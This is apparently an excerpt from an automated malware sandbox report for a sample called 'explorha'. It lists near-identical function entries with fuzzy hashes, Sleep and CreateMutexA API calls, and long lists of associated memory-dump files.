Opcode Fuzzy Hash: 0f9ec4a742c589cb8e0c4064167a5d2d81112121004836e8fdf9cf8f423346ab
Instruction Fuzzy Hash: 883168717141809BFF1CEB6CCD847ADBB62EB82314F248A1EE854AB3C1D77D59808719

Uniqueness

Uniqueness Score: -1.00%

Function 00489B49 Relevance: 3.1, APIs: 2, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 31371c4c2b9b3f2c5f3db6d4bbb51ebe660440bd9fcd64e684b9196a7292563c
Instruction ID: ba0c02bc993cb4752320f3fcac07d7cbf27ad0f6f97ad1fb1791bcf2f958b25e
Opcode Fuzzy Hash: 31371c4c2b9b3f2c5f3db6d4bbb51ebe660440bd9fcd64e684b9196a7292563c
Instruction Fuzzy Hash: 2E317A717001449BFF18EB6CDD847ADBB62EB82318F348A1EE4149B7C2C77D69808719

Uniqueness

Uniqueness Score: -1.00%

Function 00489C7E Relevance: 3.1, APIs: 2, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dd86cdb70dc7ee861bb2a6c9d7e28d9902e156f2740fb06a1036032c127e1b15
Instruction ID: 66d23e2ca38270736be1b752f4560a723431353996d748c88b069fbbbe656ae3
Opcode Fuzzy Hash: dd86cdb70dc7ee861bb2a6c9d7e28d9902e156f2740fb06a1036032c127e1b15
Instruction Fuzzy Hash: 21315A717005009BFF18EB78DD887ADBBA2DB82318F248A1EE5149B3D2D77D5980875D

Uniqueness

Uniqueness Score: -1.00%

Function 00489EE8 Relevance: 3.1, APIs: 2, Instructions: 124
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 500a114638f8e9b53055b8ab1b79c6af77edbbaaff1ed9c9eacdb615fdad4bd9
Instruction ID: 2f22d8ca50a2b72dce0ea16d3d64f7f6d60ff572bc0947930282a7b0f93419d1
Opcode Fuzzy Hash: 500a114638f8e9b53055b8ab1b79c6af77edbbaaff1ed9c9eacdb615fdad4bd9
Instruction Fuzzy Hash: 0B318A717005009BFF1CEB78CD857ADBB61DB82318F248A2EE611977C6D7BD58808729

Uniqueness

Uniqueness Score: -1.00%

Function 0048A01D Relevance: 3.1, APIs: 2, Instructions: 123
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d51ad12107dfbe76f958a1c965b0017faa83dc51d56f895b48b9da1bd7b56166
Instruction ID: 522a28c5ca81c259c06accf1c79f9a37463e571ea89f84812087a66a1e8134cf
Opcode Fuzzy Hash: d51ad12107dfbe76f958a1c965b0017faa83dc51d56f895b48b9da1bd7b56166
Instruction Fuzzy Hash: 73314A717001009BFB08EB68CD8979DB762DB87318F24861FE411977C3C7BD5990876A

Uniqueness

Uniqueness Score: -1.00%

Function 0048A152 Relevance: 3.1, APIs: 2, Instructions: 122
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
